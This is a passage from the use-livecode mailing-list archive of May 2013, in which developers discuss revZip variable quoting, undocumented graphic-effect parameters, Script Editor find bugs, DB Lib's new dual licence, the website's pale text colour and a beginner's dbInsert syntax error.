>> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mblivecode at harbourhosting.co.uk Tue May 21 13:58:14 2013 From: mblivecode at harbourhosting.co.uk (Martin Baxter) Date: Tue, 21 May 2013 18:58:14 +0100 Subject: ziperr,illegal variable In-Reply-To: References: <519B60FA.4080309@harbourhosting.co.uk> Message-ID: <519BB5B6.6020809@harbourhosting.co.uk> Thank you! That does the trick. It seems that for some reason the name of the variable holding the data to be written needs to be quoted as if it were a string literal. The other var names do not. Now I can go back to plan A, Martin On 21/05/2013 18:22, Peter Haworth wrote: > On Tue, May 21, 2013 at 4:56 AM, Martin Baxter < > mblivecode at harbourhosting.co.uk> wrote: > >> revZipAddUncompressedItemWithData >> > > Haven't used revZipAddUncompressedItemWithData but judging from other > revZip commands, I think your variable tdataxxx needs to be in quotes. Not > sure about tparamxxx. > > Pete > lcSQL Software From scott at tactilemedia.com Tue May 21 13:59:43 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 21 May 2013 10:59:43 -0700 Subject: Graphic effects parms In-Reply-To: Message-ID: The knockout option determines whether the shape of the target object is subtracted from the underlying dropshadow effect. In general, knockout is better disabled because a feint halo of card color can seep through the region where the dropshadow meets the object. You may want to enable knockout when your source object is translucent, so the dropshadow "stops" at the edges of the object. Innerglow can either begin from the center of the target object, or from the "edge". tmEffects doesn't include control settings for these (esoteric) options to save space, but you can define default values for all effects settings in the card script of the palette. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/21/13 10:30 AM, "Peter Haworth" wrote: >There are a couple of graphic effects parms in the Inspector that aren't >documented in the dictionary. > >The dropShadow effect has a "knockout" parm which is a checkbox in the IDE >inspector. The innerGlow effect has a "source" parm which is an option >menu in the IDE inspector but always seems to be disabled. Looking at the >array for innerGlow, it has a value of "edge" > >Any clues as to what these mystery parms might be? > >I'm also having problems with the Inspecotr Graphic Effects tab in that >the >parameters for all the effects except dropshadow are always disabled, even >though the effect is applied. A good reason to use Scott's recent >tmEffects palette I guess! > >Pete >lcSQL Software >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Tue May 21 14:09:09 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 21 May 2013 11:09:09 -0700 Subject: Graphic effects parms In-Reply-To: References: Message-ID: Please add "range" to the list of undocumented graphic effects parms (for innerglow and outerglow) - appears to default to 255 Pete lcSQL Software On Tue, May 21, 2013 at 10:30 AM, Peter Haworth wrote: > There are a couple of graphic effects parms in the Inspector that aren't > documented in the dictionary. > > The dropShadow effect has a "knockout" parm which is a checkbox in the IDE > inspector. The innerGlow effect has a "source" parm which is an option > menu in the IDE inspector but always seems to be disabled. Looking at the > array for innerGlow, it has a value of "edge" > > Any clues as to what these mystery parms might be? > > I'm also having problems with the Inspecotr Graphic Effects tab in that > the parameters for all the effects except dropshadow are always disabled, > even though the effect is applied. A good reason to use Scott's recent > tmEffects palette I guess! > > Pete > lcSQL Software > From gcanyon at gmail.com Tue May 21 15:29:26 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Tue, 21 May 2013 14:29:26 -0500 Subject: Multiple Images on Card In-Reply-To: <519B78F8.20608@gmail.com> References: <519B78F8.20608@gmail.com> Message-ID: On Tue, May 21, 2013 at 8:39 AM, Graham Pearson wrote: > when a user hovers over a section of the > picture, it would change colors and upon clicking a section of the > picture it would display a new card with detailed information of the > section of the image selected. > I think you don't need to slice your image to accomplish this. Instead: 1. import the whole image and position as you want 2. create a graphic control. make it a rect, the size you want, with a color and blendlevel that get you the effect you want when it is positioned over the image. For example, set it to 255,0,0 and 50 to have it colorize the image pretty strongly red when the graphic is over it. 3. set the script of the image to something like this: on mouseMove x,y set the topleft of grc 1 to (100 * (x div 100)),(100 * (y div 100)) end mouseMove The above assumes that the highlight graphic is 100x100 pixels. Then do whatever math you have to when the user clicks to identify what section to show info on -- you could store the current section in the section above, or do it on the fly. From pete at lcsql.com Tue May 21 16:43:12 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 21 May 2013 13:43:12 -0700 Subject: Script Editor Find issues Message-ID: Wondering if anyone has a workaround for a couple of annoyances in the Script Editor Find feature. First one involves what happens after clicking the "More" button, then searching across multiple tabs. The search itself works fine. However if I start replacing the occurrences of the search term with another string of a different length, every time I click on a line in the search results tab, I'm positioned in the wrong place in the current tab - gets progressively worse as I make more changes. The other issue is when searching then using the next/previous buttons to find matches. That doesn't suffer from the above problem. But, if I do not change one of the occurrences of the search string, then every time I press next, even if the cursor is positioned after the string I did not change, the highlight goes back to the string I did not change instead of finding the next occurrence after the current position. Any suggestions most welcome since I'm in the throes of making some major naming changes. Pete lcSQL Software From richmondmathewson at gmail.com Tue May 21 16:43:46 2013 From: richmondmathewson at gmail.com (Richmond) Date: Tue, 21 May 2013 23:43:46 +0300 Subject: [OT] Check your internet speed. Message-ID: <519BDC82.5010904@gmail.com> http://www.speedtest.net/ From lvhdgc7 at gmail.com Tue May 21 18:44:27 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Tue, 21 May 2013 15:44:27 -0700 (PDT) Subject: Graphic effects parms In-Reply-To: References: Message-ID: <1369176267040-4665190.post@n4.nabble.com> Hi Scott. Perhaps one of these settings could resolve a visual problem I'm having with tmGauge 1.11... I have a circular gauge (g10) on the card, but the rectangular bounding box of the gauge is apparent as a ghosted line about 10 pixels thick. You can see the ghost box whether there is a background image on the card or none at all. Is there a tweak to remove this? Thanks, Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Graphic-effects-parms-tp4665182p4665190.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at lcsql.com Tue May 21 18:57:46 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 21 May 2013 15:57:46 -0700 Subject: Graphic effects parms In-Reply-To: References: Message-ID: Thanks SCott. Any ideas on the "range" parameter for innerglow and outerglow? Pete lcSQL Software On Tue, May 21, 2013 at 10:59 AM, Scott Rossi wrote: > The knockout option determines whether the shape of the target object is > subtracted from the underlying dropshadow effect. In general, knockout is > better disabled because a feint halo of card color can seep through the > region where the dropshadow meets the object. You may want to enable > knockout when your source object is translucent, so the dropshadow "stops" > at the edges of the object. > > Innerglow can either begin from the center of the target object, or from > the "edge". > > tmEffects doesn't include control settings for these (esoteric) options to > save space, but you can define default values for all effects settings in > the card script of the palette. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/21/13 10:30 AM, "Peter Haworth" wrote: > > >There are a couple of graphic effects parms in the Inspector that aren't > >documented in the dictionary. > > > >The dropShadow effect has a "knockout" parm which is a checkbox in the IDE > >inspector. The innerGlow effect has a "source" parm which is an option > >menu in the IDE inspector but always seems to be disabled. Looking at the > >array for innerGlow, it has a value of "edge" > > > >Any clues as to what these mystery parms might be? > > > >I'm also having problems with the Inspecotr Graphic Effects tab in that > >the > >parameters for all the effects except dropshadow are always disabled, even > >though the effect is applied. A good reason to use Scott's recent > >tmEffects palette I guess! > > > >Pete > >lcSQL Software > >_______________________________________________ > >use-livecode mailing list > >use-livecode at lists.runrev.com > >Please visit this url to subscribe, unsubscribe and manage your > >subscription preferences: > >http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andre at andregarzia.com Tue May 21 20:46:07 2013 From: andre at andregarzia.com (Andre Garzia) Date: Tue, 21 May 2013 21:46:07 -0300 Subject: DB Lib goes dual license with GPL and Commercial License Message-ID: Hey Guys, Great news for LiveCode Community Edition lovers and GPL fans! DB Lib, the minimalistic database library for LiveCode just went dual license with GPL and Commercial licenses available. If you're building GPL software, you can just download the library and start using it. If you want to ship closed source software, you just need to buy a commercial license. You can check the blog post at: http://www.andregarzia.com/posts/en/dblibgoesopensource You can check the DB Lib page at: http://www.andregarzia.com/pages/en/dblib Cheers andre -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From scott at tactilemedia.com Tue May 21 20:49:09 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 21 May 2013 17:49:09 -0700 Subject: Graphic effects parms In-Reply-To: Message-ID: I tried it after I saw your note. This parameter doesn't appear to affect anything in the resulting effect that I can see. Unrelated (but important to me): the effect of the spread parameter for innerglow when set to "edge" needs to be updated, as it's currently backwards. Increasing the spread value causes the effect to move outwards from the object, instead of inwards. The RunRev guys probably overlooked this since spread often produces an outward effect, but it's annoying. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/21/13 3:57 PM, "Peter Haworth" wrote: >Thanks SCott. Any ideas on the "range" parameter for innerglow and >outerglow? > >Pete >lcSQL Software > > >On Tue, May 21, 2013 at 10:59 AM, Scott Rossi >wrote: > >> The knockout option determines whether the shape of the target object is >> subtracted from the underlying dropshadow effect. In general, knockout >>is >> better disabled because a feint halo of card color can seep through the >> region where the dropshadow meets the object. You may want to enable >> knockout when your source object is translucent, so the dropshadow >>"stops" >> at the edges of the object. >> >> Innerglow can either begin from the center of the target object, or from >> the "edge". >> >> tmEffects doesn't include control settings for these (esoteric) options >>to >> save space, but you can define default values for all effects settings >>in >> the card script of the palette. >> >> Regards, >> >> Scott Rossi >> Creative Director >> Tactile Media, UX/UI Design >> >> >> >> >> On 5/21/13 10:30 AM, "Peter Haworth" wrote: >> >> >There are a couple of graphic effects parms in the Inspector that >>aren't >> >documented in the dictionary. >> > >> >The dropShadow effect has a "knockout" parm which is a checkbox in the >>IDE >> >inspector. The innerGlow effect has a "source" parm which is an option >> >menu in the IDE inspector but always seems to be disabled. Looking at >>the >> >array for innerGlow, it has a value of "edge" >> > >> >Any clues as to what these mystery parms might be? >> > >> >I'm also having problems with the Inspecotr Graphic Effects tab in that >> >the >> >parameters for all the effects except dropshadow are always disabled, >>even >> >though the effect is applied. A good reason to use Scott's recent >> >tmEffects palette I guess! >> > >> >Pete >> >lcSQL Software >> >_______________________________________________ >> >use-livecode mailing list >> >use-livecode at lists.runrev.com >> >Please visit this url to subscribe, unsubscribe and manage your >> >subscription preferences: >> >http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From skip at magicgate.com Tue May 21 20:50:56 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 21 May 2013 20:50:56 -0400 Subject: DB Lib goes dual license with GPL and Commercial License In-Reply-To: References: Message-ID: As always, YOU ROCK! Thanks for your hard work and dedication! SKIP On Tue, May 21, 2013 at 8:46 PM, Andre Garzia wrote: > Hey Guys, > > Great news for LiveCode Community Edition lovers and GPL fans! DB Lib, the > minimalistic database library for LiveCode just went dual license with GPL > and Commercial licenses available. > > If you're building GPL software, you can just download the library and > start using it. If you want to ship closed source software, you just need > to buy a commercial license. > > You can check the blog post at: > http://www.andregarzia.com/posts/en/dblibgoesopensource > > You can check the DB Lib page at: > http://www.andregarzia.com/pages/en/dblib > > Cheers > andre > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From terry.judd at unimelb.edu.au Wed May 22 03:13:35 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 22 May 2013 07:13:35 +0000 Subject: Lime green text on new Livecode website Message-ID: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> Is it just me or is the lime green text on the new Livecode website way too pale to read easily. It's not that I don't like the color, but it does seem to get lost against a white background. Check out the tutorials section and you'll see what I mean. Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From m.schonewille at economy-x-talk.com Wed May 22 03:46:44 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 22 May 2013 09:46:44 +0200 Subject: Lime green text on new Livecode website In-Reply-To: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> Message-ID: <519C77E4.4050604@economy-x-talk.com> Hi Terry, It isn't called LimeGreen. LimeGreen is much brighter and greener. What you mean is YellowGreen (unix colour name). It is a little faint, but I can read it fine. You might want to adjust the colour settings of your monitor. You can see the difference here: http://qery.us/3h3 Left is the LimeGreen, which I looked up and right is the YellowGreen from the website. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/22/2013 09:13, Terry Judd wrote: > Is it just me or is the lime green text on the new Livecode website way too pale to read easily. It's not that I don't like the color, but it does seem to get lost against a white background. Check out the tutorials section and you'll see what I mean. > > Terry... > > Dr Terry Judd > Senior Lecturer in Medical Education > Medical Eduction Unit > Faculty of Medicine, Dentistry & Health Sciences > The University of Melbourne > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From terry.judd at unimelb.edu.au Wed May 22 04:00:20 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 22 May 2013 08:00:20 +0000 Subject: Lime green text on new Livecode website In-Reply-To: <519C77E4.4050604@economy-x-talk.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> Message-ID: Hey Mark - yes definitely more yellow green than lime but still difficult to read. Particularly bad on both my Mac monitors but not much better on an iPad. Regards, Terry... On 22/05/2013, at 05:46 PM, Mark Schonewille wrote: > Hi Terry, > > It isn't called LimeGreen. LimeGreen is much brighter and greener. What you mean is YellowGreen (unix colour name). It is a little faint, but I can read it fine. You might want to adjust the colour settings of your monitor. > > You can see the difference here: http://qery.us/3h3 Left is the LimeGreen, which I looked up and right is the YellowGreen from the website. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > On 5/22/2013 09:13, Terry Judd wrote: >> Is it just me or is the lime green text on the new Livecode website way too pale to read easily. It's not that I don't like the color, but it does seem to get lost against a white background. Check out the tutorials section and you'll see what I mean. >> >> Terry... >> >> Dr Terry Judd >> Senior Lecturer in Medical Education >> Medical Eduction Unit >> Faculty of Medicine, Dentistry & Health Sciences >> The University of Melbourne >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From tate83 at gmail.com Wed May 22 04:30:41 2013 From: tate83 at gmail.com (Pascal Lehner) Date: Wed, 22 May 2013 09:30:41 +0100 Subject: DB Lib goes dual license with GPL and Commercial License In-Reply-To: References: Message-ID: Hi Andre, Thanks very much for that! I just watched your video, you will save me a lot of SQL :-) Just one quick question I could not find on the website and which is probably obvious for the more advanced people here: How do I install DBLib? Copy to the plugins folder in my documents? Greetz from Edinburgh, Pascal 2013/5/22 Magicgate Software - Skip Kimpel > As always, YOU ROCK! > > Thanks for your hard work and dedication! > > SKIP > > > On Tue, May 21, 2013 at 8:46 PM, Andre Garzia > wrote: > > > Hey Guys, > > > > Great news for LiveCode Community Edition lovers and GPL fans! DB Lib, > the > > minimalistic database library for LiveCode just went dual license with > GPL > > and Commercial licenses available. > > > > If you're building GPL software, you can just download the library and > > start using it. If you want to ship closed source software, you just need > > to buy a commercial license. > > > > You can check the blog post at: > > http://www.andregarzia.com/posts/en/dblibgoesopensource > > > > You can check the DB Lib page at: > > http://www.andregarzia.com/pages/en/dblib > > > > Cheers > > andre > > > > -- > > http://www.andregarzia.com -- All We Do Is Code. > > http://fon.nu -- minimalist url shortening service. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From toolbook at kestner.de Wed May 22 05:46:29 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Wed, 22 May 2013 11:46:29 +0200 Subject: AW: Lime green text on new Livecode website In-Reply-To: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> Message-ID: <003f01ce56d1$3c8c8a00$b5a59e00$@de> Possible, but not easily to read, true > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Terry Judd > Gesendet: Mittwoch, 22. Mai 2013 09:14 > An: How to use LiveCode > Betreff: Lime green text on new Livecode website > > Is it just me or is the lime green text on the new Livecode website way too > pale to read easily. It's not that I don't like the color, but it does seem > to get lost against a white background. Check out the tutorials section and > you'll see what I mean. > > Terry... > > Dr Terry Judd > Senior Lecturer in Medical Education > Medical Eduction Unit > Faculty of Medicine, Dentistry & Health Sciences The University of > Melbourne > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From selander at tkf.att.ne.jp Wed May 22 05:46:29 2013 From: selander at tkf.att.ne.jp (Tim Selander) Date: Wed, 22 May 2013 18:46:29 +0900 Subject: Lime green text on new Livecode website In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> Message-ID: <519C93F5.2070107@tkf.att.ne.jp> Yep, I find the color kind of hard to read too. For the text they should choose a color that adds more black to the green. It will still complement their logo color, but be easier to read. The bigger problem, perhaps, is that the links to the Tutorials, Beginners Course and Forums on this page -- -- go no where :-/ Tim Selander Tokyo, Japan On 5/22/13 5:00 PM, Terry Judd wrote: > Hey Mark - yes definitely more yellow green than lime but still difficult to read. Particularly bad on both my Mac monitors but not much better on an iPad. > > Regards, > > Terry... > > On 22/05/2013, at 05:46 PM, Mark Schonewille wrote: > >> Hi Terry, >> >> It isn't called LimeGreen. LimeGreen is much brighter and greener. What you mean is YellowGreen (unix colour name). It is a little faint, but I can read it fine. You might want to adjust the colour settings of your monitor. >> >> You can see the difference here: http://qery.us/3h3 Left is the LimeGreen, which I looked up and right is the YellowGreen from the website. >> >> -- >> Best regards, >> >> Mark Schonewille >> >> Economy-x-Talk Consulting and Software Engineering >> Homepage: http://economy-x-talk.com >> Twitter: http://twitter.com/xtalkprogrammer >> KvK: 50277553 >> >> Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com >> >> Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi >> >> On 5/22/2013 09:13, Terry Judd wrote: >>> Is it just me or is the lime green text on the new Livecode website way too pale to read easily. It's not that I don't like the color, but it does seem to get lost against a white background. Check out the tutorials section and you'll see what I mean. >>> >>> Terry... >>> >>> Dr Terry Judd >>> Senior Lecturer in Medical Education >>> Medical Eduction Unit >>> Faculty of Medicine, Dentistry & Health Sciences >>> The University of Melbourne >>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > Dr Terry Judd > Senior Lecturer in Medical Education > Medical Eduction Unit > Faculty of Medicine, Dentistry & Health Sciences > The University of Melbourne > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Wed May 22 07:32:35 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 22 May 2013 14:32:35 +0300 Subject: Lime green text on new Livecode website In-Reply-To: References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> Message-ID: <519CACD3.6040003@gmail.com> I don't know what that greeny-yellow colour is; personally I call it "squashed caterpillar" and wonder why RunRev have 'gone' for it; the new app icons don't do much for me either. Richmond. From richmondmathewson at gmail.com Wed May 22 07:34:57 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 22 May 2013 14:34:57 +0300 Subject: Lime green text on new Livecode website In-Reply-To: <519C93F5.2070107@tkf.att.ne.jp> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <519C93F5.2070107@tkf.att.ne.jp> Message-ID: <519CAD61.5040704@gmail.com> On 05/22/2013 12:46 PM, Tim Selander wrote: > Yep, I find the color kind of hard to read too. For the text they > should choose a color that adds more black to the green. It will still > complement their logo color, but be easier to read. > > The bigger problem, perhaps, is that the links to the Tutorials, > Beginners Course and Forums on this page -- > -- go no where :-/ > I'm afraid you are wrong: they don't go nowhere; they go round in circles . . . LOL. > > Tim Selander > Tokyo, Japan > > > > On 5/22/13 5:00 PM, Terry Judd wrote: >> Hey Mark - yes definitely more yellow green than lime but still >> difficult to read. Particularly bad on both my Mac monitors but not >> much better on an iPad. >> >> Regards, >> >> Terry... >> >> On 22/05/2013, at 05:46 PM, Mark Schonewille wrote: >> >>> Hi Terry, >>> >>> It isn't called LimeGreen. LimeGreen is much brighter and greener. >>> What you mean is YellowGreen (unix colour name). It is a little >>> faint, but I can read it fine. You might want to adjust the colour >>> settings of your monitor. >>> >>> You can see the difference here: http://qery.us/3h3 Left is the >>> LimeGreen, which I looked up and right is the YellowGreen from the >>> website. >>> >>> -- >>> Best regards, >>> >>> Mark Schonewille >>> >>> Economy-x-Talk Consulting and Software Engineering >>> Homepage: http://economy-x-talk.com >>> Twitter: http://twitter.com/xtalkprogrammer >>> KvK: 50277553 >>> >>> Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other >>> colour spaces. http://www.color-converter.com >>> >>> Buy my new book "Programming LiveCode for the Real Beginner" >>> http://qery.us/3fi >>> >>> On 5/22/2013 09:13, Terry Judd wrote: >>>> Is it just me or is the lime green text on the new Livecode website >>>> way too pale to read easily. It's not that I don't like the color, >>>> but it does seem to get lost against a white background. Check out >>>> the tutorials section and you'll see what I mean. >>>> >>>> Terry... >>>> >>>> Dr Terry Judd >>>> Senior Lecturer in Medical Education >>>> Medical Eduction Unit >>>> Faculty of Medicine, Dentistry & Health Sciences >>>> The University of Melbourne >>>> >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> Dr Terry Judd >> Senior Lecturer in Medical Education >> Medical Eduction Unit >> Faculty of Medicine, Dentistry & Health Sciences >> The University of Melbourne >> >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From me at paulmaguire.me Wed May 22 07:40:44 2013 From: me at paulmaguire.me (Paul Maguire) Date: Wed, 22 May 2013 12:40:44 +0100 Subject: Lime green text on new Livecode website In-Reply-To: <519CACD3.6040003@gmail.com> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <519CACD3.6040003@gmail.com> Message-ID: <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me> On 22 May 2013, at 12:32, Richmond wrote: > I don't know what that greeny-yellow colour is; personally I call it "squashed caterpillar" I like it. I admit though that it would fail accessibility tests in a public space like a museum. Any caterpillars that colour are too close to a nuclear power station. How to describe it? Acieeeeeeed! Kind regards, Paul. From terry.judd at unimelb.edu.au Wed May 22 08:59:10 2013 From: terry.judd at unimelb.edu.au (Terry Judd) Date: Wed, 22 May 2013 12:59:10 +0000 Subject: Lime green text on new Livecode website In-Reply-To: <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me> References: <7C3936EF-F0D2-4967-8769-3F98FB230605@unimelb.edu.au> <519C77E4.4050604@economy-x-talk.com> <519CACD3.6040003@gmail.com>, <0683A539-00E9-42AB-9623-6DAF2BDC86C7@paulmaguire.me> Message-ID: On 22/05/2013, at 9:41 PM, "Paul Maguire" wrote: > On 22 May 2013, at 12:32, Richmond wrote: >> I don't know what that greeny-yellow colour is; personally I call it "squashed caterpillar" > > I like it. I admit though that it would fail accessibility tests in a public space like a museum. Yeah - I like it for the logo too. For text, not so much. > > Any caterpillars that colour are too close to a nuclear power station. How to describe it? Acieeeeeeed! > > Kind regards, Paul. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Wed May 22 09:06:04 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 08:06:04 -0500 Subject: [BEGINNER] Using DBLib and MySQL Message-ID: I'm using DBLib and I'm having trouble inserting into a MySQL database. My database connection is working. My database name: names Table name: names My table fields are: fldID fldFullName fldEmailAddress fldRegistered My controls on my form are: fldFullName fldEmailAddress fldRegistered My button code looks like this (for submitting to the database): on mouseUp put "http://mydomain.on-rev.com/nope.png" into field "fldRegistered" put field "fldRegistered" into tDataA["fldRegistered"] put field "fldFullName" into tDataA["fldFullName"] put field "fldEmailAddress" into tDataA["fldEmailAddress"] put dbInsert["names", tDataA] into tResult if it is a number then answer it && "Database Updated" else answer error it end if end mouseUp What am I doing wrong? Regards, Shawn From andre at andregarzia.com Wed May 22 09:19:01 2013 From: andre at andregarzia.com (Andre Garzia) Date: Wed, 22 May 2013 10:19:01 -0300 Subject: [BEGINNER] Using DBLib and MySQL In-Reply-To: References: Message-ID: On Wed, May 22, 2013 at 10:06 AM, Shawn Blc wrote: > put dbInsert["names", tDataA] into tResult Shawn, You are using brackets instead of parenthesis. It should read: put dbInsert("names", tDataA) into tResult Also the best place to ask for DB Lib related help is on my forum at http://andregarzia.com/forum I receive a ping when you post there. I check this list less frequently, just about 20 times a day ;-) -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From shawnlivecode at gmail.com Wed May 22 09:21:42 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 08:21:42 -0500 Subject: [BEGINNER] Using DBLib and MySQL In-Reply-To: References: Message-ID: Thank you Andre. I'll start posting my related questions on your forum. I'll give that a shot and update you. Thank you for the quick response! On Wed, May 22, 2013 at 8:19 AM, Andre Garzia wrote: > On Wed, May 22, 2013 at 10:06 AM, Shawn Blc > wrote: > > > put dbInsert["names", tDataA] into tResult > > > Shawn, > > You are using brackets instead of parenthesis. It should read: > > put dbInsert("names", tDataA) into tResult > > Also the best place to ask for DB Lib related help is on my forum at > > http://andregarzia.com/forum > > I receive a ping when you post there. I check this list less frequently, > just about 20 times a day ;-) > > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Wed May 22 09:25:00 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Wed, 22 May 2013 08:25:00 -0500 Subject: [BEGINNER] 